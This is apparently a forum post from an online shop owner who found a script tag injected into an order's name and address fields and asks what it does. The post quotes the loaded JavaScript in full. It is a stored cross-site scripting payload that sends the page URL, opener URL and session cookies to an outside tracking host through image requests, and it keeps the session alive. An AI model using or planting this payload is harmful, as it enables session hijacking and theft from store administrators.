Operating a web store via one of the popular platforms and had an order come through with the following script embedded in several of the fields: name, address, etc. I'm trying to understand what the script accomplishes. I've removed any way for it run on this page I hope:
[script src=//XX.YY/g][/script]
btw, XX=jb & YY=gy
==>>
(function(){(new Image()).src='http://XX.YY/index.php?do=api&id=g&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='http://XX.YY/index.php?do=keepsession&id=g&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
x=new Image();
x.src="http://XX.YY/authtest.php?id=g&info=cheeptrims.com";